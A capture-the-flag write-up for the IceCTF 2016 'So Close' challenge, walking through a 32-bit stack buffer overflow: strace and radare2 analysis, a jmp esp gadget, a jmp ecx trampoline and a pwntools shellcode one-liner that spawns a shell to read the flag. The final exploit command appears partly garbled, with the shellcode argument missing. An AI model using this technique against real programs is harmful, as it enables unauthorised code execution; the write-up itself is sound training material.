IceCTF 2016 - So Close

Challenge description

Yet so far :( /home/so_close on the shell.

Jumping right in I checked the binary's security with checksec and loaded it up in radare2: No NX and a call to read over stack data... sounds like a simple stack based buffer overflow.

The buffer that is read into is of size 0x118 - 0x10 = 264 bytes. Since I'm lazy I used strace to figure out the number of bytes it was reading:

→ strace ./so_close 1000
execve("./so_close", ["./so_close", "1000"], [/* 29 vars */]) = 0
[ Process PID=20494 runs in 32 bit mode. ]
brk(0)                                  = 0x93a6000
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7746000
access("/etc/", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=50645, ...}) = 0
mmap2(NULL, 50645, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7739000
close(3)                                = 0
access("/etc/", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0P\234\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1754876, ...}) = 0
mmap2(NULL, 1763964, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff758a000
mprotect(0xf7732000, 4096, PROT_NONE)   = 0
mmap2(0xf7733000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a8000) = 0xfffffffff7733000
mmap2(0xf7736000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7736000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7589000
set_thread_area(0xffe6f130)             = 0
mprotect(0xf7733000, 8192, PROT_READ)   = 0
mprotect(0xf7769000, 4096, PROT_READ)   = 0
munmap(0xf7739000, 50645)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 7), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7745000
write(1, "something something something..\n", 32something something something..
) = 32
read(0, "", 272)                        = 0
exit_group(0)                           = ?
+++ exited with 0 +++

Looks like 272 bytes. So 272 over a 264 byte buffer means a 12 byte overflow. That doesn't sound like a lot, so I loaded up ing gdb and passed in a cyclic pattern:

So I control EIP and what ESP points to, which are one right after the other in the buffer. Looking at the contents of ECX shows that it is the start of the input buffer. If there was some way to jump to ECX then I could execute shellcode, since NX was disabled. After a bit of tinkering, my solution ended up being to find a jmp esp, and assemble jmp ecx where ESP was pointing. I assumed ASLR was enabled, but it should not matter in this case.

The steps I needed to take are as follows:

  1. Find a jmp esp in the binary
  2. Assemble jmp ecx and figure out it's length so I know how to craft the exploit buffer
  3. Craft an exploit buffer
  4. ????
  5. Profit :)

To find a jmp esp all I needed to do was use the assembly opcode search feature of radare2:

/c jmp esp
0x0804859f   # 2: jmp esp

Score. Next, assembling jmp ecx was done with the asm function of pwntools:

python -c 'from pwn import *;len(asm("jmp ecx"))'

Then, crafting an exploit buffer... I needed the buffer to look something like this:

[shellcode][asm(jmp ecx)*2][jmp esp][asm(jmp ecx)*2][jmp esp][asm(jmp ecx)*2][jmp esp]...

[asm(jmp ecx)*2][jmp esp] would need to repeat until the end of the buffer to cause the overflow to happen. With this in mind I began to experiment in gdb to eventually get a shell:

A little recap of what happened in that last video:

  • The length of the shellcode generated by pwntools was 22 bytes
  • The total buffer length needed to be 268 to overflow properly
  • 268-22 is the needed length minus the shellcode length
  • ("iiii" + "jjjj") was multiplied by ((268-22)/8) because of the length required after shellcode and because it was 8 bytes long. However, extra padding (the "aaaaaa") needed to be added because 268-22 is 246, which when divided by 8 is 30R6. That remainder needs to be fulfilled in order to make the buffer long enough to trigger the bug
  • "iiii" was replaced with asm("jmp ecx")*2 because it was the contents of where esp was pointing. It was multiplied by 2 to fit our test with "iiii" and "jjjj" because it is two bytes in length when assembled (*2 is the 4 bytes needed).
  • "jjjj" was replaced with 0x0804859f because that is the address of jmp esp we found above. "jjjj" was in for our test, so in order to make the program execute the jmp ecx we assembled earlier. We need that jmp esp because esp points to our assembled jmp ecx.
  • Remember that our shellcode is located at the beginning of the buffer, and ecx points to the beginning of the buffer. So jumping to ecx executes the shellcode.
  • ;cat was added to the end of the python command to keep stdin open. This is a common trick for exploitation problems. check here for a bit of detail

Running this on the binary on the server gave the following:

(python -c 'from pwn import *; print asm( + (asm("jmp ecx")*2 + p32(0x0804859f))*((268-22)/8) + "aaaaaa"'; cat) | /home/so_close/so_close
something something something..
cat /home/so_close/flag.txt

Flag: IceCTF{eeeeeeee_bbbbbbbbb_pppppppp_woooooo}